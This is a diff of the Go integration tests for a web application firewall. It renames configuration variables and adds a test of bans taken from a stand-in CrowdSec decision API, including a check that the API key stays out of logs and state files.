rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
|
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
|
||||||
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
|
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
|
||||||
ruleFilesDir = "SWW_WAF_RULE_FILES_DIR"
|
rulesDir = "SWW_WAF_RULES_DIR"
|
||||||
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
|
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
|
||||||
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
|
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
|
||||||
instanceName = "SWW_WAF_INSTANCE_NAME"
|
instanceName = "SWW_WAF_INSTANCE_NAME"
|
||||||
@@ -52,7 +52,7 @@ const (
|
|||||||
adminSecret = "fedcba9876543210fedcba9876543210"
|
adminSecret = "fedcba9876543210fedcba9876543210"
|
||||||
// instance is the SWW_WAF_INSTANCE_NAME the tests set where they look at
|
// instance is the SWW_WAF_INSTANCE_NAME the tests set where they look at
|
||||||
// it.
|
// it.
|
||||||
instance = "host1/blog"
|
instance = "fsn1app1/blog"
|
||||||
// greeting is what the tests' app answers.
|
// greeting is what the tests' app answers.
|
||||||
greeting = "hello from the app"
|
greeting = "hello from the app"
|
||||||
// placed is the client the tests' lookup databases place.
|
// placed is the client the tests' lookup databases place.
|
||||||
@@ -173,9 +173,6 @@ func run(ctx context.Context, env map[string]string, out *output) int {
|
|||||||
Version: testVersion,
|
Version: testVersion,
|
||||||
Viper: v,
|
Viper: v,
|
||||||
Stdout: out,
|
Stdout: out,
|
||||||
// The race detector and a busy host can slow the Core Rule Set's
|
|
||||||
// inspections past waf's own limit.
|
|
||||||
BesideLookupTimeLimit: time.Hour,
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -251,7 +248,7 @@ func TestAddressInUseStopsTheStart(t *testing.T) {
|
|||||||
status := run(t.Context(), map[string]string{
|
status := run(t.Context(), map[string]string{
|
||||||
listenAddr: taken.Addr().String(),
|
listenAddr: taken.Addr().String(),
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
t.Errorf("exit status %d, want 1", status)
|
t.Errorf("exit status %d, want 1", status)
|
||||||
@@ -273,7 +270,7 @@ func TestServesUntilToldToStop(t *testing.T) {
|
|||||||
exited <- run(ctx, map[string]string{
|
exited <- run(ctx, map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
|
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||||
}, out)
|
}, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
@@ -323,7 +320,7 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
|
|||||||
exited <- run(ctx, map[string]string{
|
exited <- run(ctx, map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
"SWW_WAF_BLOCKLIST_URLS": lists.URL + "/tor.txt",
|
"SWW_WAF_BLOCKLIST_URLS": lists.URL + "/tor.txt",
|
||||||
"SWW_WAF_LOG_LEVEL": "warn",
|
"SWW_WAF_LOG_LEVEL": "warn",
|
||||||
}, out)
|
}, out)
|
||||||
@@ -364,7 +361,7 @@ func TestEveryLogLineAndMetricCarriesTheInstanceName(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
}
|
}
|
||||||
@@ -389,8 +386,8 @@ func TestEveryLogLineAndMetricCarriesTheInstanceName(t *testing.T) {
|
|||||||
// the comments.
|
// the comments.
|
||||||
for line := range strings.Lines(metrics) {
|
for line := range strings.Lines(metrics) {
|
||||||
if !strings.HasPrefix(line, "#") &&
|
if !strings.HasPrefix(line, "#") &&
|
||||||
!strings.Contains(line, `instance="host1/blog"`) {
|
!strings.Contains(line, `instance="fsn1app1/blog"`) {
|
||||||
t.Errorf("series %q, without instance=\"host1/blog\"", line)
|
t.Errorf("series %q, without instance=\"fsn1app1/blog\"", line)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -401,12 +398,12 @@ func TestStateKeptAcrossRestarts(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
rateLimitPerDay: "2",
|
rateLimitPerDay: "2",
|
||||||
// Neither comes due in the test: the files are written as
|
// Neither comes due in the test: the files are written as
|
||||||
// sww stops.
|
// sww stops.
|
||||||
bansWriteDelay: "1h",
|
stateWriteDelay: "1h",
|
||||||
stateWriteInterval: "1h",
|
stateCounterInterval: "1h",
|
||||||
}
|
}
|
||||||
|
|
||||||
// The two requests a day allows, and a stop.
|
// The two requests a day allows, and a stop.
|
||||||
@@ -437,7 +434,7 @@ func TestBanRefusesItsNetblockAfterARestartWithAnotherScope(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
rateLimitPerDay: "1",
|
rateLimitPerDay: "1",
|
||||||
scope: "24",
|
scope: "24",
|
||||||
}
|
}
|
||||||
@@ -483,11 +480,11 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
// No write comes due in the test, so only the watch on the
|
// No write comes due in the test, so only the watch on the
|
||||||
// directory can take the edits in.
|
// directory can take the edits in.
|
||||||
bansWriteDelay: "1h",
|
stateWriteDelay: "1h",
|
||||||
stateWriteInterval: "1h",
|
stateCounterInterval: "1h",
|
||||||
}
|
}
|
||||||
|
|
||||||
runUntilStopped(t, env, func(url string) {
|
runUntilStopped(t, env, func(url string) {
|
||||||
@@ -513,12 +510,12 @@ func TestBanAddedAndLiftedThroughTheEndpointsKeptInBansJSON(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
adminToken: adminSecret,
|
adminToken: adminSecret,
|
||||||
// Neither comes due in the test: the files are written as
|
// Neither comes due in the test: the files are written as
|
||||||
// sww stops.
|
// sww stops.
|
||||||
bansWriteDelay: "1h",
|
stateWriteDelay: "1h",
|
||||||
stateWriteInterval: "1h",
|
stateCounterInterval: "1h",
|
||||||
}
|
}
|
||||||
|
|
||||||
runUntilStopped(t, env, func(url string) {
|
runUntilStopped(t, env, func(url string) {
|
||||||
@@ -556,7 +553,7 @@ func TestRuleFileAddedWhileRunningTakesEffect(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: dir,
|
rulesDir: dir,
|
||||||
// The requests sent until the rule takes effect must not break a
|
// The requests sent until the rule takes effect must not break a
|
||||||
// rate limit, whose ban would refuse them too.
|
// rate limit, whose ban would refuse them too.
|
||||||
"SWW_WAF_RATE_LIMIT_PER_MINUTE": "off",
|
"SWW_WAF_RATE_LIMIT_PER_MINUTE": "off",
|
||||||
@@ -605,17 +602,13 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRuleFilesDirThatDoesNotExistStopsTheStart(t *testing.T) {
|
func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
dir := filepath.Join(t.TempDir(), "rules.d")
|
dir := filepath.Join(t.TempDir(), "rules.d")
|
||||||
|
|
||||||
wantRulesRefused(
|
wantRulesRefused(t, dir, "SWW_WAF_RULES_DIR cannot be read: open "+dir+
|
||||||
t,
|
": no such file or directory")
|
||||||
dir,
|
|
||||||
"SWW_WAF_RULE_FILES_DIR cannot be read: open "+dir+
|
|
||||||
": no such file or directory",
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
|
func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
|
||||||
@@ -627,7 +620,7 @@ func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(t.Context(), map[string]string{
|
status := run(t.Context(), map[string]string{
|
||||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
|
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
||||||
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
@@ -659,10 +652,8 @@ func TestCoreRuleSetExclusionsFileThatCannotBeUsedStopsTheStartWhileTheCoreRuleS
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(t.Context(), map[string]string{
|
status := run(t.Context(), map[string]string{
|
||||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
|
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
||||||
"SWW_WAF_CORE_RULE_SET_MODE": string(
|
"SWW_WAF_CORE_RULE_SET_MODE": config.WAFModeOff,
|
||||||
config.CoreRuleSetModeOff,
|
|
||||||
),
|
|
||||||
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
@@ -684,7 +675,7 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
lookupSource: "file",
|
lookupSource: "file",
|
||||||
@@ -739,12 +730,12 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) {
|
|||||||
t,
|
t,
|
||||||
url+"_sww/metrics",
|
url+"_sww/metrics",
|
||||||
token,
|
token,
|
||||||
`sww_lookup_database_read_failures_total{instance="host1/blog"} 1`,
|
`sww_lookup_database_read_failures_total{instance="fsn1app1/blog"} 1`,
|
||||||
)
|
)
|
||||||
lastRead = seriesValue(
|
lastRead = seriesValue(
|
||||||
t,
|
t,
|
||||||
metrics,
|
metrics,
|
||||||
`sww_lookup_database_last_read_timestamp_seconds{instance="host1/blog"}`,
|
`sww_lookup_database_last_read_timestamp_seconds{instance="fsn1app1/blog"}`,
|
||||||
)
|
)
|
||||||
|
|
||||||
wantStatus(t, url, placed, http.StatusOK)
|
wantStatus(t, url, placed, http.StatusOK)
|
||||||
@@ -797,7 +788,7 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
|
|||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
cacheDir: cache,
|
cacheDir: cache,
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
"SWW_WAF_BLOCKLIST_URLS": torURL,
|
"SWW_WAF_BLOCKLIST_URLS": torURL,
|
||||||
@@ -806,7 +797,7 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
|
|||||||
// too.
|
// too.
|
||||||
rateLimitExemptNets: placed + "," + localhost,
|
rateLimitExemptNets: placed + "," + localhost,
|
||||||
}
|
}
|
||||||
failures := `sww_reputation_failures_total{instance="host1/blog",` +
|
failures := `sww_reputation_failures_total{instance="fsn1app1/blog",` +
|
||||||
`source="` + torURL + `"} `
|
`source="` + torURL + `"} `
|
||||||
|
|
||||||
// tor.txt cannot be fetched at first, which is counted.
|
// tor.txt cannot be fetched at first, which is counted.
|
||||||
@@ -852,6 +843,92 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const bouncerKey = "crowdsec-key-0123456789abcdef"
|
||||||
|
|
||||||
|
// A stand-in for the engine's local API, which bans 203.0.113.0/24 for
|
||||||
|
// four hours, and answers only a request with its key, while it is up.
|
||||||
|
down := new(atomic.Bool)
|
||||||
|
engine := httptest.NewServer(http.HandlerFunc(
|
||||||
|
func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
switch {
|
||||||
|
case r.URL.Path != "/v1/decisions" || r.Header.Get("X-Api-Key") != bouncerKey:
|
||||||
|
w.WriteHeader(http.StatusForbidden)
|
||||||
|
case down.Load():
|
||||||
|
w.WriteHeader(http.StatusServiceUnavailable)
|
||||||
|
default:
|
||||||
|
_, _ = io.WriteString(
|
||||||
|
w,
|
||||||
|
`[{"duration": "4h0m0s", "origin": "crowdsec", `+
|
||||||
|
`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
|
||||||
|
`"type": "ban", "value": "203.0.113.0/24"}]`,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}))
|
||||||
|
t.Cleanup(engine.Close)
|
||||||
|
|
||||||
|
dir, cache := t.TempDir(), t.TempDir()
|
||||||
|
env := map[string]string{
|
||||||
|
listenAddr: localhost + ":0",
|
||||||
|
stateDir: dir,
|
||||||
|
cacheDir: cache,
|
||||||
|
rulesDir: t.TempDir(),
|
||||||
|
"SWW_WAF_CROWDSEC_LAPI_URL": engine.URL,
|
||||||
|
"SWW_WAF_CROWDSEC_LAPI_KEY": bouncerKey,
|
||||||
|
}
|
||||||
|
|
||||||
|
// Once the list is fetched, the client's request bans it.
|
||||||
|
first := runUntilStopped(t, env, func(url string) {
|
||||||
|
for statusFrom(t, url, placed) != http.StatusForbidden {
|
||||||
|
time.Sleep(pollInterval)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
ban := onlyBan(t, dir)
|
||||||
|
if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" ||
|
||||||
|
ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" {
|
||||||
|
t.Errorf(
|
||||||
|
"bans.json holds %v, want the ban for crowdsec on %s",
|
||||||
|
ban,
|
||||||
|
placed,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Restarted with the engine down, the copy kept in lists.json bans
|
||||||
|
// another client in the netblock from its first request.
|
||||||
|
down.Store(true)
|
||||||
|
|
||||||
|
second := runUntilStopped(t, env, func(url string) {
|
||||||
|
wantStatus(t, url, "203.0.113.10", http.StatusForbidden)
|
||||||
|
})
|
||||||
|
|
||||||
|
// The key is in neither run's output, nor in a state or cache file.
|
||||||
|
files := []string{
|
||||||
|
filepath.Join(dir, "bans.json"), filepath.Join(dir, "clients.json"),
|
||||||
|
filepath.Join(cache, "lists.json"),
|
||||||
|
}
|
||||||
|
shown := make([]string, 0, len(files)+2)
|
||||||
|
shown = append(shown, first.text(), second.text())
|
||||||
|
|
||||||
|
for _, path := range files {
|
||||||
|
data, err := os.ReadFile(path) //nolint:gosec // the test's
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("read %s: %v", path, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
shown = append(shown, string(data))
|
||||||
|
}
|
||||||
|
|
||||||
|
if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) {
|
||||||
|
t.Errorf(
|
||||||
|
"the key is shown in the output or the state and cache files:\n%s",
|
||||||
|
all,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// wantDeniedByList checks that the request log line is of a request the
|
// wantDeniedByList checks that the request log line is of a request the
|
||||||
// blocklist at listURL refused.
|
// blocklist at listURL refused.
|
||||||
func wantDeniedByList(t *testing.T, line map[string]any, listURL string) {
|
func wantDeniedByList(t *testing.T, line map[string]any, listURL string) {
|
||||||
@@ -880,7 +957,7 @@ func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) {
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(ctx, map[string]string{
|
status := run(ctx, map[string]string{
|
||||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
|
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
||||||
lookupSource: "file", lookupDBPath: path,
|
lookupSource: "file", lookupDBPath: path,
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
@@ -915,7 +992,7 @@ func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
"SWW_WAF_LOG_REMOTE_URL": "syslog+tcp://" + endpoint.Addr().String(),
|
"SWW_WAF_LOG_REMOTE_URL": "syslog+tcp://" + endpoint.Addr().String(),
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -974,10 +1051,10 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
"SWW_WAF_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr().
|
"SWW_WAF_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr().
|
||||||
String(),
|
String(),
|
||||||
"SWW_WAF_LOG_REMOTE_BUFFER_LINES": "1",
|
"SWW_WAF_LOG_REMOTE_BUFFER": "1",
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
}
|
}
|
||||||
@@ -989,8 +1066,8 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
|
|||||||
// last.
|
// last.
|
||||||
metrics := metricsText(t, url+"_sww/metrics", token)
|
metrics := metricsText(t, url+"_sww/metrics", token)
|
||||||
for _, series := range []string{
|
for _, series := range []string{
|
||||||
`sww_remote_log_lines_sent_total{instance="host1/blog"} 0`,
|
`sww_remote_log_lines_sent_total{instance="fsn1app1/blog"} 0`,
|
||||||
`sww_remote_log_lines_waiting{instance="host1/blog"} 1`,
|
`sww_remote_log_lines_waiting{instance="fsn1app1/blog"} 1`,
|
||||||
} {
|
} {
|
||||||
if !strings.Contains(metrics, "\n"+series+"\n") {
|
if !strings.Contains(metrics, "\n"+series+"\n") {
|
||||||
t.Errorf("no %q in the metrics:\n%s", series, metrics)
|
t.Errorf("no %q in the metrics:\n%s", series, metrics)
|
||||||
@@ -998,7 +1075,7 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
const dropped = "\nsww_remote_log_lines_dropped_total" +
|
const dropped = "\nsww_remote_log_lines_dropped_total" +
|
||||||
`{instance="host1/blog"} `
|
`{instance="fsn1app1/blog"} `
|
||||||
if strings.Contains(metrics, dropped+"0\n") ||
|
if strings.Contains(metrics, dropped+"0\n") ||
|
||||||
!strings.Contains(metrics, dropped) {
|
!strings.Contains(metrics, dropped) {
|
||||||
t.Errorf("no line dropped in the metrics:\n%s", metrics)
|
t.Errorf("no line dropped in the metrics:\n%s", metrics)
|
||||||
@@ -1050,7 +1127,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
ruleFilesDir: rules,
|
rulesDir: rules,
|
||||||
"SWW_WAF_ALERT_WEBHOOK_URL": webhook.url,
|
"SWW_WAF_ALERT_WEBHOOK_URL": webhook.url,
|
||||||
"SWW_WAF_ALERT_WEBHOOK_HEADERS": "Authorization:Bearer " + adminSecret,
|
"SWW_WAF_ALERT_WEBHOOK_HEADERS": "Authorization:Bearer " + adminSecret,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
@@ -1094,7 +1171,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
|
|||||||
runUntilStopped(t, env, func(url string) {
|
runUntilStopped(t, env, func(url string) {
|
||||||
webhook.waitFor(t, "permanent_ban", true)
|
webhook.waitFor(t, "permanent_ban", true)
|
||||||
|
|
||||||
const ofWebhook = `{destination="webhook",instance="host1/blog"}`
|
const ofWebhook = `{destination="webhook",instance="fsn1app1/blog"}`
|
||||||
|
|
||||||
metrics := metricsWith(t, url+"_sww/metrics", token,
|
metrics := metricsWith(t, url+"_sww/metrics", token,
|
||||||
"\nsww_alerts_sent_total"+ofWebhook+" 1\n")
|
"\nsww_alerts_sent_total"+ofWebhook+" 1\n")
|
||||||
@@ -1156,7 +1233,7 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
rateLimitPerDay: "1",
|
rateLimitPerDay: "1",
|
||||||
// The metrics are read from 127.0.0.1, which no limit counts.
|
// The metrics are read from 127.0.0.1, which no limit counts.
|
||||||
"SWW_WAF_ALLOW_NETS": localhost + "/32",
|
"SWW_WAF_ALLOW_NETS": localhost + "/32",
|
||||||
@@ -1181,13 +1258,13 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
|
|||||||
err := json.Unmarshal([]byte(slackPost.body), &message)
|
err := json.Unmarshal([]byte(slackPost.body), &message)
|
||||||
|
|
||||||
if err != nil ||
|
if err != nil ||
|
||||||
!strings.HasPrefix(message.Text, "*host1/blog: ban*\n") ||
|
!strings.HasPrefix(message.Text, "*fsn1app1/blog: ban*\n") ||
|
||||||
!strings.Contains(message.Text, "\nclient: "+client+"\n") {
|
!strings.Contains(message.Text, "\nclient: "+client+"\n") {
|
||||||
t.Errorf("Slack was sent %s", slackPost.body)
|
t.Errorf("Slack was sent %s", slackPost.body)
|
||||||
}
|
}
|
||||||
|
|
||||||
ntfyPost := ntfy.firstPost(t)
|
ntfyPost := ntfy.firstPost(t)
|
||||||
if ntfyPost.header.Get("Title") != "host1/blog: ban" ||
|
if ntfyPost.header.Get("Title") != "fsn1app1/blog: ban" ||
|
||||||
ntfyPost.header.Get("Authorization") != "Bearer "+ntfyToken ||
|
ntfyPost.header.Get("Authorization") != "Bearer "+ntfyToken ||
|
||||||
!strings.Contains(ntfyPost.body, "\nclient: "+client+"\n") {
|
!strings.Contains(ntfyPost.body, "\nclient: "+client+"\n") {
|
||||||
t.Errorf("ntfy was sent %s, with the headers %v", ntfyPost.body,
|
t.Errorf("ntfy was sent %s, with the headers %v", ntfyPost.body,
|
||||||
@@ -1199,9 +1276,9 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
|
|||||||
// test process cannot fail the test.
|
// test process cannot fail the test.
|
||||||
sent := []string{
|
sent := []string{
|
||||||
"\nsww_alerts_sent_total{destination=\"slack\"," +
|
"\nsww_alerts_sent_total{destination=\"slack\"," +
|
||||||
"instance=\"host1/blog\"} 1\n",
|
"instance=\"fsn1app1/blog\"} 1\n",
|
||||||
"\nsww_alerts_sent_total{destination=\"ntfy\"," +
|
"\nsww_alerts_sent_total{destination=\"ntfy\"," +
|
||||||
"instance=\"host1/blog\"} 1\n",
|
"instance=\"fsn1app1/blog\"} 1\n",
|
||||||
}
|
}
|
||||||
|
|
||||||
metrics := metricsWith(t, url+"_sww/metrics", token, sent...)
|
metrics := metricsWith(t, url+"_sww/metrics", token, sent...)
|
||||||
@@ -1250,7 +1327,7 @@ func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(ctx, map[string]string{
|
status := run(ctx, map[string]string{
|
||||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
|
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
||||||
cacheDir: filepath.Join(t.TempDir(), "missing"),
|
cacheDir: filepath.Join(t.TempDir(), "missing"),
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
@@ -1279,7 +1356,7 @@ func wantStartRefused(t *testing.T, dir, want string) {
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(ctx, map[string]string{
|
status := run(ctx, map[string]string{
|
||||||
listenAddr: localhost + ":0", stateDir: dir, ruleFilesDir: t.TempDir(),
|
listenAddr: localhost + ":0", stateDir: dir, rulesDir: t.TempDir(),
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
t.Fatalf("exit status %d, want 1", status)
|
t.Fatalf("exit status %d, want 1", status)
|
||||||
@@ -1309,7 +1386,7 @@ func wantRulesRefused(t *testing.T, dir, want string) {
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(ctx, map[string]string{
|
status := run(ctx, map[string]string{
|
||||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: dir,
|
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: dir,
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
t.Fatalf("exit status %d, want 1", status)
|
t.Fatalf("exit status %d, want 1", status)
|
||||||
@@ -1381,8 +1458,8 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
|
|||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
"SWW_WAF_MODE": "enforce",
|
"SWW_WAF_MODE": "enforce",
|
||||||
bansWriteDelay: "10s",
|
stateWriteDelay: "10s",
|
||||||
stateWriteInterval: "15m",
|
stateCounterInterval: "15m",
|
||||||
"SWW_WAF_ALLOW_NETS": "",
|
"SWW_WAF_ALLOW_NETS": "",
|
||||||
rateLimitExemptNets: "",
|
rateLimitExemptNets: "",
|
||||||
"SWW_WAF_DENY_NETS": "",
|
"SWW_WAF_DENY_NETS": "",
|
||||||
@@ -1395,11 +1472,11 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
|
|||||||
"SWW_WAF_BAN_RESPONSE": "403",
|
"SWW_WAF_BAN_RESPONSE": "403",
|
||||||
"SWW_WAF_LIMIT_BAN_DURATION": "1h",
|
"SWW_WAF_LIMIT_BAN_DURATION": "1h",
|
||||||
"SWW_WAF_LIMIT_BAN_REPEAT_WINDOW": "24h",
|
"SWW_WAF_LIMIT_BAN_REPEAT_WINDOW": "24h",
|
||||||
"SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE": "7d",
|
"SWW_WAF_MAX_BAN_DURATION": "7d",
|
||||||
"SWW_WAF_ATTACK_BAN_DURATION": "7d",
|
"SWW_WAF_ATTACK_BAN_DURATION": "7d",
|
||||||
